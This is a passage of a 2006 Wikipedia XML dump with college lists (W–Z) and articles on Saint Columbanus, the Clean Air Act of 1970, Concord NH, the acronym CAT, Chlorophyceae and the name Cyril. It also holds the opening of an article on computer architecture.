#[[Western Baptist College]]
#[[Western Carolina University]]
#[[Western Connecticut State University]]
#[[Western Illinois University]]
#[[Western Iowa Community College]]
#[[Western Iowa Tech Community College]]
#[[Western Kentucky University]]
#[[Western Maryland College]]
#[[Western Michigan University]]
#[[Western Nebraska Community College]]
#[[Western Nevada Community College]]
#[[Western New England College]]
#[[Western New England College School of Law]]
#[[Western Oregon State College]]
#[[Western State College of Colorado]]
#[[Western Washington University]]
#[[Westfalische Wilhelms Universitat, Munster]]
#[[Westminster College, Missouri]]
#[[Westminster College, Oxford]]
#[[Westminster College, Pennsylvania]]
#[[Westminster College, Salt Lake City]]
#[[Westminster Theological Seminary]]
#[[University of Westminster|Westminster, University of]]
#[[Westmont College]]
#[[Westmoreland County Community College]]
#[[Wharton School]]
#[[Wheaton College, Illinois]]
#[[Wheaton College, Massachusetts]]
#[[Wheeling Jesuit College]]
#[[Whitecliffe College of Art and Design]]
#[[Whitman College]]
#[[Whittier College]]
#[[Whitworth College]]
#[[Wichita State University]]
#[[Widener University]]
#[[Wilfrid Laurier University]]
#[[Wilkes University]]
#[[Willamette University]]
#[[William Howard Taft University]]
#[[William Jewell College]]
#[[William Paterson College]]
#[[William Penn College]]
#[[William Rainey Harper College]]
#[[William Woods University]]
#[[Williams Baptist College]]
#[[Williams College]]
#[[Wilmington College]]
#[[Wingate University]]
#[[Winona State University]]
#[[Winthrop University]]
#[[Wittenberg University]]
#[[Wofford College]]
#[[Wolfson College, Oxford]]
#[[Worcester Polytechnic Institute]]
#[[Worthington Community College]]
#[[Wright State University]]
#[[Wroclaw Technical University]]
#[[Wu-Feng Junior College of Technology and Commerce]]
#[[Wuhan University]] ([[Wuhan]], [[China]])
#[[Wuhan University of Technology]]

:''See also :'' [[Colleges and universities]]

[[Category:Lists of universities and colleges by alphabetical order|W]]</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities starting with X</title>
    <id>6497</id>
    <revision>
      <id>35578298</id>
      <timestamp>2006-01-17T19:59:04Z</timestamp>
      <contributor>
        <username>Vizcarra</username>
        <id>116263</id>
      </contributor>
      <minor />
      <comment>[[Category:Lists of universities and colleges by alphabetical order]]</comment>
      <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- [[List_of_colleges_and_universities_starting_with_B|B]] -- [[List_of_colleges_and_universities_starting_with_C|C]] -- [[List_of_colleges_and_universities_starting_with_D|D]] -- [[List_of_colleges_and_universities_starting_with_E|E]] -- [[List_of_colleges_and_universities_starting_with_F|F]] -- [[List_of_colleges_and_universities_starting_with_G|G]] -- [[List_of_colleges_and_universities_starting_with_H|H]] -- [[List_of_colleges_and_universities_starting_with_I|I]] -- [[List_of_colleges_and_universities_starting_with_J|J]] -- [[List_of_colleges_and_universities_starting_with_K|K]] -- [[List_of_colleges_and_universities_starting_with_L|L]] -- [[List_of_colleges_and_universities_starting_with_M|M]] -- [[List_of_colleges_and_universities_starting_with_N|N]] -- [[List_of_colleges_and_universities_starting_with_O|O]] -- [[List_of_colleges_and_universities_starting_with_P|P]] -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- [[List_of_colleges_and_universities_starting_with_R|R]] -- [[List_of_colleges_and_universities_starting_with_S|S]] -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- [[List_of_colleges_and_universities_starting_with_W|W]] -- '''X''' -- [[List_of_colleges_and_universities_starting_with_Y|Y]] -- [[List_of_colleges_and_universities_starting_with_Z|Z]]
----
#[[Xavier University (Cagayan de Oro)]]
#[[Xiamen University]]
#[[Xi'an Jiao Tong University]]
#[[Xidian University]]
#[[Xiangtan University]]

:''See also :'' [[Colleges and universities]]

[[Category:Lists of universities and colleges by alphabetical order|X]]</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities starting with Y</title>
    <id>6498</id>
    <revision>
      <id>35578346</id>
      <timestamp>2006-01-17T19:59:25Z</timestamp>
      <contributor>
        <username>Vizcarra</username>
        <id>116263</id>
      </contributor>
      <minor />
      <comment>[[Category:Lists of universities and colleges by alphabetical order]]</comment>
      <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- [[List_of_colleges_and_universities_starting_with_B|B]] -- [[List_of_colleges_and_universities_starting_with_C|C]] -- [[List_of_colleges_and_universities_starting_with_D|D]] -- [[List_of_colleges_and_universities_starting_with_E|E]] -- [[List_of_colleges_and_universities_starting_with_F|F]] -- [[List_of_colleges_and_universities_starting_with_G|G]] -- [[List_of_colleges_and_universities_starting_with_H|H]] -- [[List_of_colleges_and_universities_starting_with_I|I]] -- [[List_of_colleges_and_universities_starting_with_J|J]] -- [[List_of_colleges_and_universities_starting_with_K|K]] -- [[List_of_colleges_and_universities_starting_with_L|L]] -- [[List_of_colleges_and_universities_starting_with_M|M]] -- [[List_of_colleges_and_universities_starting_with_N|N]] -- [[List_of_colleges_and_universities_starting_with_O|O]] -- [[List_of_colleges_and_universities_starting_with_P|P]] -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- [[List_of_colleges_and_universities_starting_with_R|R]] -- [[List_of_colleges_and_universities_starting_with_S|S]] -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- [[List_of_colleges_and_universities_starting_with_W|W]] -- [[List_of_colleges_and_universities_starting_with_X|X]] -- '''Y''' -- [[List_of_colleges_and_universities_starting_with_Z|Z]]
----
#[[Yale University]]
#[[Yamanashi University]]
#[[Yasuda Women's University]]
#[[Yavapai College]]
#[[Yerevan Physics Institute]]
#[[Yeshiva University]]
#[[Yeungnam University]]
#[[Yildiz Technical University]]
#[[Yokohama National University]]
#[[Yonsei University]]
#[[York College]]
#[[York University]]
#[[Youngstown State University]]
#[[Yuan-Ze Institute of Technology]]
#[[Yuba College]]
#[[Yukon College]]

:''See also :'' [[Colleges and universities]]

[[Category:Lists of universities and colleges by alphabetical order|Y]]</text>
    </revision>
  </page>
  <page>
    <title>List of colleges and universities starting with Z</title>
    <id>6499</id>
    <revision>
      <id>35578391</id>
      <timestamp>2006-01-17T19:59:44Z</timestamp>
      <contributor>
        <username>Vizcarra</username>
        <id>116263</id>
      </contributor>
      <minor />
      <comment>[[Category:Lists of universities and colleges by alphabetical order]]</comment>
      <text xml:space="preserve">[[List_of_colleges_and_universities_starting_with_A|A]] -- [[List_of_colleges_and_universities_starting_with_B|B]] -- [[List_of_colleges_and_universities_starting_with_C|C]] -- [[List_of_colleges_and_universities_starting_with_D|D]] -- [[List_of_colleges_and_universities_starting_with_E|E]] -- [[List_of_colleges_and_universities_starting_with_F|F]] -- [[List_of_colleges_and_universities_starting_with_G|G]] -- [[List_of_colleges_and_universities_starting_with_H|H]] -- [[List_of_colleges_and_universities_starting_with_I|I]] -- [[List_of_colleges_and_universities_starting_with_J|J]] -- [[List_of_colleges_and_universities_starting_with_K|K]] -- [[List_of_colleges_and_universities_starting_with_L|L]] -- [[List_of_colleges_and_universities_starting_with_M|M]] -- [[List_of_colleges_and_universities_starting_with_N|N]] -- [[List_of_colleges_and_universities_starting_with_O|O]] -- [[List_of_colleges_and_universities_starting_with_P|P]] -- [[List_of_colleges_and_universities_starting_with_Q|Q]] -- [[List_of_colleges_and_universities_starting_with_R|R]] -- [[List_of_colleges_and_universities_starting_with_S|S]] -- [[List_of_colleges_and_universities_starting_with_T|T]] -- [[List_of_colleges_and_universities_starting_with_U|U]] -- [[List_of_colleges_and_universities_starting_with_V|V]] -- [[List_of_colleges_and_universities_starting_with_W|W]] -- [[List_of_colleges_and_universities_starting_with_X|X]] -- [[List_of_colleges_and_universities_starting_with_Y|Y]] -- '''Z'''
----
#[[Zabol University]], [[Iran]]
#[[Zagreb University]]
#[[Zanjan University]], [[Iran]]
#[[Zhejiang Medical University]]
#[[Zhejiang University]]
#[[Zhengzhou Institute of Technology]] (formerly Zhengzhou Grain College)
#[[Zhengzhou University]]
#[[Zhongshan University]]

:''See also :'' [[Colleges and universities]]

[[Category:Lists of universities and colleges by alphabetical order|Z]]</text>
    </revision>
  </page>
  <page>
    <title>Colleges and universities/OldList</title>
    <id>6500</id>
    <revision>
      <id>15904637</id>
      <timestamp>2002-10-10T19:02:38Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[List of colleges and universities]]</text>
    </revision>
  </page>
  <page>
    <title>Columbanus</title>
    <id>6501</id>
    <revision>
      <id>41690136</id>
      <timestamp>2006-03-01T02:06:52Z</timestamp>
      <contributor>
        <username>Mxn</username>
        <id>10795</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Saint Columbanus''' ([[543]]&amp;nbsp;&amp;ndash; [[21 November]] [[615]]; also '''Columban'''), was an [[Ireland|Irish]] [[missionary]] notable for founding a number of [[monastery|monasteries]] on the European continent and therefore as an exemplar of Irish missionary activity in early medieval Europe. He is also one of the earliest identifiable [[Hiberno-Latin]] writers.

Born in [[Leinster]], Ireland, he went to the European continent sometime around [[590]].

Columbanus founded several monasteries in the [[Franks|Frankish]] kingdoms, most notably [[Luxeuil-les-Bains|Luxeuil]] in [[590]], spreading among the Franks a [[Celtic Christianity|Celtic]] monastic rule and Celtic penitential practices for those repenting of sins.  These practices emphasized private confession to a priest, followed by penances levied by the priest in reparation for the sin.

Because of political difficulties with bishops and [[Merovingian]] kings, including disagreement over the date for the celebration of [[Easter]], Columbanus moved south into [[Italy]] in about [[612]], where, with the help of the [[Lombards|Lombard]] King [[Agilulf]] and Queen [[Theodelinda]], he established his final and most important monastery at [[Bobbio]] (between [[Milan]] and [[Genoa]]). He died there in 615. (This monastery is in part the model for the great monastery in [[Umberto Eco]]'s novel ''[[The Name of the Rose]]''.)

The main source for Columbanus's life or '''vita''' is recorded by [[Jonas of Bobbio]], a monk who entered the monastery in Bobbio in [[618]], three years after the saint's death. In his vita, Columbanus is reported to have performed a miracle in [[Bregenz]]: The townpeople had placed a large vessel in the town center, filled with beer. They told Columbanus it was intended as a sacrifice to their god [[Wodan]] (''Illi aiunt se Deo suo Vodano nomine''), whom they identified with Roman [[Mercury (mythology)|Mercury]]. Angrily, Columbanus breathed on the vessel, which broke asunder with a loud noise, spilling the beer.

A number of writings of Columbanus survive, including a monastic rule (the ''Regula monachorum''), a number of letters, and some poetry. These provide some of the earliest evidence for Irish knowledge of Latin.

Columbanus is not to be confused with his near contemporary, Saint [[Columba]], otherwise known as [[Columba|Columcille]].

==External links==
*[http://www.stcolumban.org/church/about-us/stcolumban.html St. Columban, Abbot and Confessor]&amp;nbsp;&amp;ndash; St. Columban Parish, [[Loveland, Ohio]]
*[http://www.knightsofstcolumbanus.ie/ Knights of St. Columbanus]
*[http://www.kykofc.com/kentucky/iack/columbanus.htm About the Knights of St. Columbanus]

[[Category:Irish literature]]
[[Category:Latin literature]]
[[Category:543 births]]
[[Category:615 deaths]]
[[Category:History of Ireland]]
[[Category:Medieval Gaels]]
[[Category:Irish saints]]

[[de:Columban von Luxeuil]]
[[fr:Colomban]]
[[nl:Columbanus (heilige)]]
[[pt:São Columbano]]</text>
    </revision>
  </page>
  <page>
    <title>Clean Air Act (1970)</title>
    <id>6502</id>
    <revision>
      <id>41474479</id>
      <timestamp>2006-02-27T16:24:51Z</timestamp>
      <contributor>
        <username>Thunk</username>
        <id>688507</id>
      </contributor>
      <minor />
      <comment>updated citizen suit link to renamed page</comment>
      <text xml:space="preserve">{{mergeto|Clean Air Act}} 


The '''Clean Air Act''' (CAA) of [[1970]] is a [[United States environmental law]] that requires the [[United States]] [[Environmental Protection Agency]] (EPA) to develop and enforce regulations to protect the general public from exposure to [[air pollution|airborne contaminants]] that are known to be hazardous to human health. 

In accordance with Sections 111 and 112 of the CAA, EPA established [[New Source Performance Standard]]s (NSPS) and [[National Emissions Standards for Hazardous Air Pollutants]] (NESHAP) to protect the public.

The Clean Air Act was made federal law in 1970 and is listed under the 42 U.S.C.A. §§7401.  The Clean Air Act is significant in that it was the first major [[environmental law]] in the United States to include a provision for [[citizen suit]]s.

==Enforcement by states==
In the creation of the act the federal government charges the US Environmental Protection Agency with enforcing the CAA in 49 states (California is exempt). However, the EPA has allowed the individual states to elect responsibility for compliance with and regulation of the CAA within their own borders in exchange for funding.  The election is not mandatory and in some cases states have chosen to not accept responsibility for enforcement of the act and force the EPA to assume those duties.  In order to take over compliance with the CAA the states must write and submit a [[State Implementation Plan]] (SIP) to the EPA for approval. The SIP must meet the minimum criteria established by the EPA. The SIP becomes the state&amp;rsquo;s legal guide for local enforcement of the CAA. 
===Example - Rhode Island===
The Rhode Island General Law Title 23 Chapter 23 Section 2 (RIGL 23-23-2) states that it is a state policy requirement to comply with the Federal CAA (42 USC s/s 7401) through the SIP.  The state SIP delegates permitting and enforcement responsibility to the state Dept. of Environmental Management (RI-DEM).  

In accordance with the requirements of the CAA, RI-DEM issues air release permits to large stationary sources of pollution such as power plants and factories. The permitting process requires a monitoring plan to be created and sets limits on the amounts and types of releases allowed. The information contained in this permit is made available to both the polluter, other agencies, and the public.  

These permits are known as &amp;lsquo;part 70&amp;rsquo; permits because they are related to the federal minimums in 40 CFR part 70. These permits are also known as &amp;lsquo;title V&amp;rsquo; permits because they are required by title V of the CAA amendments of 1990. The title V permit is meant to contain all the requirements for emissions from the permitted source.  The permit requires &amp;lsquo;regular&amp;rsquo; reporting, monitoring, and annual certification of compliance &amp;ndash; (all of which is information which is made public). 

The permit information is available online through the EPA ECHO (Enforcement and Compliance History Online) database and the state permits themselves are available online through the RI-DEM website. 

See also: [[Emissions trading]]

==External links==
*[http://www.epa.gov/echo/ EPA Enforcement and Compliance History Online]

[[Category:1970 in law]]
[[Category:United States federal environmental legislation]]</text>
    </revision>
  </page>
  <page>
    <title>Concord, New Hampshire</title>
    <id>6503</id>
    <revision>
      <id>40910795</id>
      <timestamp>2006-02-23T21:04:54Z</timestamp>
      <contributor>
        <username>Kummi</username>
        <id>270411</id>
      </contributor>
      <minor />
      <comment>fi.</comment>
      <text xml:space="preserve">{{Infobox City | 
official_name = '''Concord, New Hampshire''' | 
nickname = |
image_seal = ConcordCitySeal.gif |
image_flag = ConcordFlag.gif |
image_map =  NHMap-doton-Concord.png | 
mapsize = 150px |
map_caption = Location in [[Merrimack County, New Hampshire]] | 
subdivision_type = [[Counties of the United States|Counties]] | 
subdivision_name = [[Merrimack County, New Hampshire|Merrimack County]] |
leader_title = [[Mayor]] | 
leader_name = Michael L. Donovan |
area_magnitude = 1 E9 | 
area_total = 67.5 mi&amp;sup2; / 174.9 | 
area_land =  64.3 mi&amp;sup2; / 166.5 | 
area_water = 3.2 mi&amp;sup2; /  8.4 |
population_as_of = 2000 | 
population_note = |
population_total = 40,687 ([[city limits|city proper]]) | 
population_density = 244.4| 
timezone = [[Eastern Standard Time Zone|Eastern]] | 
utc_offset = -5 | 
timezone_DST = [[Eastern Standard Time Zone|Eastern]] | 
utc_offset_DST = -4 |
latitude = 43° 13' 12&quot; N |
longitude = 71° 32' 57&quot; W |
latd=43 |latm=13 |lats=12 |latNS=N |
longd=71 |longm=32 |longs=57 |longEW=W |
website = [http://www.ci.concord.nh.us/ www.ci.concord.nh.us] | 
footnotes = 
}}
'''Concord''' is the capital of [[New Hampshire]], a [[U.S. state|state]] of the [[United States|United States of America]].  As of the [[2000]] census, it has a population of 40,687. (2003 Est. 41,378)  It is the [[county seat]] of [[Merrimack County, New Hampshire|Merrimack County]].

Concord is the home of [[Franklin Pierce Law Center]], the only [[law school]] in New Hampshire, and the prep school [[St. Paul's School (Concord, NH)|St. Paul's School]].

== History ==
[[Image:Concordcapitolsign.jpg|left|thumb|Sign Outside of The State Capitol]]
The land which Concord now occupies along the banks of the [[Merrimack River]] was settled thousands of years ago by [[Native Americans in the United States|Native Americans]]. The broad sweeps of the river valley, good soil for farming, and easy transportation on the Merrimack made the site of Concord equally inviting to [[English language|English]]-speaking settlers in the [[18th century]].  During the 18th century the community grew in prominence. Some of Concord's earliest houses remain today at the north end of Main Street. 

The city was settled by immigrants from [[Massachusetts]] in 1727 as '''Penacook'''. In 1733, it was incorporated as '''[[Rumford]]''', and in 1765,  the name was changed to Concord.  In the years following the [[American Revolution]], Concord's central location made it a logical choice for the state capital, and in 1808 it was named the official seat of state government. Today the 1819 [[New Hampshire State House|State House]] is the oldest state capitol in which the legislative branches meet in their original chambers.

== Geography ==
Concord is located at 43&amp;deg;13'12&quot; North, 71&amp;deg;32'57&quot; West (43.220093, -71.549127){{GR|1}}and sits at 288 ft. above sea level.

According to the [[United States Census Bureau]], the city has a total area of 174.9 [[square kilometre|km&amp;sup2;]] (67.5 [[square mile|mi&amp;sup2;]]).  166.5 km&amp;sup2; (64.3 mi&amp;sup2;) of it is land and 8.4 km&amp;sup2; (3.2 mi&amp;sup2;) of it is water.  The total area is 4.78% water.

== Demographics ==
[[Image:DSC 0101.JPG|thumb|200px|left|The New Hampshire State House, December 2004]]
[[Image:Concord,_NH;_1917.jpg|thumb|right|''Concord, NH'' in 1917]]
[[Image:Downtownconcordnh.jpg|thumb|right|Main Street in ''Concord'' as of 2005]]
As of the [[census]]{{GR|2}} of [[2000]], there are 40,687 people, 16,281 households, and 9,622 families residing in the city.  The [[population density]] is 244.4/km&amp;sup2; (632.9/mi&amp;sup2;).  There are 16,881 housing units at an average density of 101.4/km&amp;sup2; (262.6/mi&amp;sup2;).  The racial makeup of the city is 95.52% [[White (U.S. Census)|White]], 1.03% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.29% [[Native American (U.S. Census)|Native American]], 1.47% [[Asian (U.S. Census)|Asian]], 0.03% [[Pacific Islander (U.S. Census)|Pacific Islander]], 0.34% from [[Race (U.S. Census)|other races]], and 1.31% from two or more races.  1.45% of the population are [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]] of any race.

There are 16,281 households out of which 30.6% have children under the age of 18 living with them, 44.3% are [[Marriage|married couples]] living together, 11.4% have a female householder with no husband present, and 40.9% are non-families. 32.7% of all households are made up of individuals and 11.2% have someone living alone who is 65 years of age or older.  The average household size is 2.30 and the average family size is 2.95.

In the city the population is spread out with 23.1% under the age of 18, 8.3% from 18 to 24, 33.0% from 25 to 44, 22.0% from 45 to 64, and 13.7% who are 65 years of age or older.  The median age is 37 years.  For every 100 females there are 98.1 males.  For every 100 females age 18 and over, there are 95.0 males.

The median income for a household in the city is $42,447, and the median income for a family is $52,418. Males have a median income of $35,504 versus $27,348 for females. The [[per capita income]] for the city is $21,976.  8.0% of the population and 6.2% of families are below the [[poverty line]].  Out of the total population, 9.3% of those under the age of 18 and 5.4% of those 65 and older are living below the poverty line.

== Sites of interest ==
The city hosts the [[Christa McAuliffe]] Planetarium, named after the Concord teacher who died during the [[Space Shuttle Challenger]] disaster in 1986. It is also the home of the New Hampshire Historical Society that has two historic buildings in Concord &amp;mdash; the [http://nhhistory.org/museum.html Museum of New Hampshire History] and the [http://www.nhhistory.org/library.html Tuck Library].

== External links ==
* [http://www.ci.concord.nh.us/ Official Website]
* [http://www.onconcord.com/LIBRARY/CONCORDHISTORY/concordv2.asp?siteindx=L0m,06 Volume One of James Lyford's History of Concord (Downloadable PDF)] 
* [http://www.onconcord.com/LIBRARY/CONCORDHISTORY/concordv2.asp?siteindx=L0m,08 Volume Two of James Lyford's History of Concord (Downloadable PDF)]
* [http://www.concordlitho.com Concord Litho]
* [http://www.concordmonitor.com The Concord Monitor]
* [http://nhhistory.org/ The New Hampshire Historical Society]
* [http://www.sps.edu St. Paul's School]
* [http://www.piercelaw.edu Franklin Pierce Law Center]
{{Mapit-US-cityscale|43.220093|-71.549127}}

{{New Hampshire}}
{{United_States_state_capitals}}

[[Category:Cities in New Hampshire]]
[[Category:Merrimack County, New Hampshire]]
[[Category:State capitals in the United States]]

[[bg:Конкорд (Ню Хампшир)]]
[[da:Concord]]
[[de:Concord (New Hampshire)]]
[[eo:Concord (Nov-Hampŝiro)]]
[[fr:Concord (New Hampshire)]]
[[hr:Concord, New Hampshire]]
[[it:Concord (New Hampshire)]]
[[ja:コンコード_(ニューハンプシャー州)]]
[[nl:Concord (New Hampshire)]]
[[pl:Concord (New Hampshire)]]
[[pt:Concord (Nova Hampshire)]]
[[fi:Concord]]
[[sv:Concord, New Hampshire]</text>
    </revision>
  </page>
  <page>
    <title>CAT</title>
    <id>6504</id>
    <revision>
      <id>38388894</id>
      <timestamp>2006-02-06T00:33:23Z</timestamp>
      <contributor>
        <username>Lotsofissues</username>
        <id>192574</id>
      </contributor>
      <minor />
      <comment>removing item to minor, writing class at a college</comment>
      <text xml:space="preserve">{{wiktionary|CAT}}
:''See also [[Cat (disambiguation)]]''

The acronym '''CAT''' may stand for:
* [[Centre for Advanced Technology]]
* [[Cable Avoidance Tool]]
* [[California Achievement Test]]
* [[Call Any Time]]
* [[Calling All Troops]]
* [[Camarillo Area Transit]]
* [[Cambridge Antibody Technology]], the UK biotechnology company
* [[Canadian Association of Transplantation]]
* [[Canby Area Transit]], a public transportation bus service in [[Canby, Oregon]]
* [[Canine Agility Team]]
* [[Capital Acquisitions Tax]]
* [[Capital Area Transit]]
* [[Capsule Ariane Technologies]]
* [[Carboxyatractyloside]]
* [[Carburetor Air Temperature]]
* [[Casual American Teenager]]
* [[Catalan language]]
* [[Catalonia]]
* [[Catalunya]]
* [[Catalyst]]
* [[Catalytic Converter]]
* [[Catamaran]]
* [[Catapult]]
* [[Cataract]]
* [[Catastrophe]]
* [[Catch Airboat Thieves]]
* [[Catechism]]
* [[Catenate]]
* [[Caterpillar]]
* [[CECOM Accreditation Team]]
* [[Cellular Action Team]]
* [[Center for Advanced Technologies]]
* [[Center for Appropriate Transport]]
* [[Central African Time]]
* [[Central Alaska Time]]
* [[Perth Central Area Transit|Central Area Transit]], the free bus transit system that running in [[Perth, Western Australia|Perth City]].
* [[Central Arizona Trails]]
* [[Central Arkansas Transit]]
* [[Central Artery-Tunnel]]
* [[Centre for Alternative Technology]], an eco-centre in Wales
* [[Certified Automotive Technician]]
* [[Change Agent Team]]
* [[Channel Available Time]]
* [[Charges, easy Access and fair Terms]]
* [[Chemical Addition Tank]]
* [[Chicago Area Theatres]]
* [[Chromatic Adaptation Transform]]
* [[Citizens Against Tolls]]
* [[Citizens Area Transit]], public transportation by bus in Clark County, Nevada (Las Vegas)
* [[Citizens' Army Training]]
* [[Civic Action Team]]
* [[Civil Air Transport]], the airline forerunner of Air America that was formed after World War II by General Claire Lee Chennault of the Flying Tigers
* [[Civil Aviation Tribunal]]
* [[Civilian Augmented Training]]
* [[Clear air turbulence]], a term in aviation
* [[Clemson Area Transit]]
* [[Cloud Arrival Time]]
* [[Cockpit Automation Technology]]
* [[Cognitive Ability Test]]
* [[Coital Alignment Technique]]
* [[Collaborative Access Team]]
* [[College Ability Test]]
* [[College of Advanced Technology]]
* [[Combat AGE Team]]
* [[Combat Aircraft Technology]]
* [[Combat Aircrew Training]]
* [[Combat Application Tourniquet]]
* [[Combat Auto Theft]]
* [[Combined Acceptance Trials]]
* [[Combined Arms Team]]
* [[Combined Arms Training]]
* [[Command Action Team]]
* [[Commodity Action Team]]
* [[Common Admission Test]], a graduate test in India, conducted by the Indian Institutes of Management or by Cochin University of Science and Technology
* [[Common Aptitude Test]]
* [[Common Authentication Technology]]
* [[Communications Assist Team]]
* [[Community Action Team]]
* [[Compact Audio Technology]]
* [[Competency Assessment Tool]]
* [[Complementary Angle Theorem]]
* [[Compliance Assessment Team]]
* [[Component Advanced Technology]]
* [[Computer-adaptive test]], a type of test that dynamically adapts to the testee's ability level
* [[Computer-aided tomography]]
* [[Computer Aided Transceiver]], a class of software application and communications interface used for the control of radio transmitting and receiving equipment, especially amateur (ham) radios.
* [[Computer-aided technology]]
* [[Computer-aided training]]
* [[Computer-aided transcription]]
* [[Computer-aided translation]]
* [[Computer-assisted translation]], a form of computer software used to help human translators
* [[Computed axial tomography]], a tomographical X-ray technique
* [[Cosmic Anisotropy Telescope]], the first telescope to measure fine details in the fireball from the Big Bang

{{TLAdisambig}}


[[de:CAT]]
[[ja:CAT]]</text>
    </revision>
  </page>
  <page>
    <title>Chlorophyceae</title>
    <id>6505</id>
    <revision>
      <id>37288872</id>
      <timestamp>2006-01-30T01:05:04Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Chlorophyceae
| regnum = [[Plant]]ae
| divisio = [[Chlorophyta]]
| classis = '''Chlorophyceae'''
| subdivision_ranks = Orders
| subdivision = 
See text.
}}

The '''Chlorophyceae''' are one of the classes of [[green alga]]e, distinguished mainly on the basis of ultrastructural morphology.  For example the chlorophycean CW clade, and chlorophycean DO clade, are defined by the arrangement of their [[flagella]]. Members of the CW clade have flagella that are displaced in a &quot;clockwise&quot; (CW, 1–7 o'clock) direction eg. [[Chlamydomonadales]].  Members of the DO clade have flagella that are &quot;directly opposed&quot; (DO, 12–6 o'clock) eg. [[Sphaeropleales]]. 

The following orders are typically recognised:

* [[Dunaliellales]]
* [[Chlamydomonadales]] (e.g. ''[[Chlamydomonas]]'')
* [[Volvocales]] (e.g. ''[[Volvox]]'')
* [[Chlorococcales]] (e.g. ''[[Chlorella]]'')
* [[Oedogoniales]] (e.g. ''[[Oedogonium]]'')
* [[Sphaeropleales]]
* [[Chaetophorales]]
* [[Microsporales]]
* [[Tetrasporales]] (e.g. ''[[Tetraspora]]'')

In older classifications, the term Chlorophyceae is sometimes used to apply to all the green algae except the [[Charales]], and the internal division is considerably different.

[[Category:Green algae]]

[[pl:Zielenice właściwe]]
[[pt:Chlorophyceae]]</text>
    </revision>
  </page>
  <page>
    <title>Cyril</title>
    <id>6508</id>
    <revision>
      <id>34156236</id>
      <timestamp>2006-01-06T20:59:27Z</timestamp>
      <contributor>
        <username>Brandmeister</username>
        <id>276745</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Cyril''' is the name of several historic figures:
* [[Saint Cyril]] - &quot;godfather&quot; of [[Cyrillic alphabet|Cyrillic]] [[800]] A.D.
* Saint [[Cyril of Alexandria]] - [[archbishop]] of Alexandria [[412]] A.D.
* Saint [[Cyril of Jerusalem]] - theologian [[315]]-[[380]] A.D.
* [[Cyril of Turaw]] - see the [[history of Belarus]]
* Sir [[Cyril Burt]] - [[psychologist]]
* Another name of [[Nikita the Furrier]]

The name Cyril is derived from [[Greek language|Greek]] Κύριλλος (''Kyrillos'' - lordly, masterful), related to ''kyrios'' - lord, master.

{{disambig}}

[[Category:Human name disambiguation]]

[[de:Kyrill]]
[[fr:Cyrille]]
[[nl:Cyrillus]]
[[pl:Cyryl]]
[[sk:Cyril]]</text>
    </revision>
  </page>
  <page>
    <title>Computer architecture</title>
    <id>6509</id>
    <revision>
      <id>41542412</id>
      <timestamp>2006-02-28T01:19:59Z</timestamp>
      <contributor>
        <username>NongBot</username>
        <id>817745</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: pt</comment>
      <text xml:space="preserve">In [[computer engineering]], '''computer architecture''' is the conceptual design and fundamental operational structure of a [[computer]] system. It is a [[blueprint]] and functional description of requirements (especially speeds and interconnections) and design implementations for the various parts of a computer &amp;mdash;focusing largely on the way by which the CPU performs internally and accesses [[memory address|addresses in memory]].

&quot;Architecture&quot; hence typically refers to the fixed internal structure of the CPU (ie. electronic [[switch]]es to represent [[logic gate]]s) to perform logical operations, and may also include the built-in interface (ie. [[opcode]]) by which [[hardware]] resources (ie. [[Central Processing Unit|CPU]], [[computer memory|memory]], and also [[motherboard]], [[peripheral]]s) may be used by the [[software]]. 

More specific usages of the term include:
* The design of a computer's [[CPU architecture]], [[instruction set]], [[addressing mode]]s, and techniques such as [[SIMD]] and [[MIMD]] parallelism.
* More general wider-scale hardware architectures, such as [[cluster computing]] and [[Non-Uniform Memory Access]] (NUMA) architectures.
* Architecture is often defined as the set of machine attributes that a programmer should understand in order to successfully program the specific computer (i.e., being able to reason about what the program will do when executed). For example, part of the architecture are the instructions and the width of operands manipulated by them. Similarly, the frequency at which the system operates is not part of the architecture. This definition reveals the two main considerations for computer architects: (1) Design hardware that behaves as the programmers think it should. (2) Utilize existing implementation technologies (e.g., semiconductors) to build the best computer possible (best can be defined in many different ways as described in ''Design Goals''). The latter consideration is often referred to as [[microarchitecture]]. 

&lt;!-- problematic //
In the same way as a building architect sets the principles and goals of a building project as the basis for the draftsman's plans, so too, a computer architect sets out the computer architecture as a basis for the actual design specifications. There are several usages of the term, which can be used to refer to:--&gt;
==Design goals==

The most common goals in computer architecture revolve around the tradeoffs between cost and performance (i.e. speed), although other considerations, such as size, weight, reliability, feature set, expandability and power consumption, may be factors as well.

===Cost===

Generally cost is held constant, determined by either system or commercial requirements, and speed and storage capacity are adjusted to meet the cost target.

===Performance===

Computer retailers describe the performance of their machines in terms of clock speed (usually in MHz or GHz). This refers to the cycles per second of the main clock of the CPU. However, this metric is somewhat misleading, as a machine with a higher clock rate may not necessarily have higher performance. Modern CPUs can [[superscalar|execute multiple instructions per clock cycle]], which dramatically speeds-up a program.  Other factors aid speed, such as the mix of [[functional unit]]s, [[computer bus|bus]] speeds, available memory, and the type and order of instructions in the programs being run.

